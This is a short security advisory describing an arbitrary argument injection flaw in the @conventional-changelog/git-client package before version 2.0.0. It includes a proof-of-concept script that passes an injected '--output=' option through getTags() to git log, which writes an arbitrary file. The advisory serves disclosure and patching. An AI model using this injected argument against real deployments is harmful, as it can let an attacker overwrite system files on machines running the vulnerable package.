Arbitrary Argument Injection Affecting @conventional-changelog/git-client package, versions <2.0.0

@conventional-changelog/git-client is a Simple git client for conventional changelog packages.

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the getTags() API which allows specifying extra parameters passed to the git log command. An attacker can overwrite critical system files by passing crafted parameters to the underlying git command if the application is running as privileged root user.

1. Install @conventional-changelog/git-client@1.0.1 or earlier
2. Prepare a Git directory to be used as source
3. Create the following script for the proof-of-concept:

import {
  GitClient,
} from "@conventional-changelog/git-client";

async function main() {
  const gitDirectory = "/tmp/some-git-directory";
  const client = new GitClient(gitDirectory);
  const params = ["--output=/tmp/r2d2"];
  for await (const tag of client.getTags(params)) {
    console.log(tag);
  }
}
main();

4. Observe new file created on disk at /tmp/r2d2

• GitHub Commit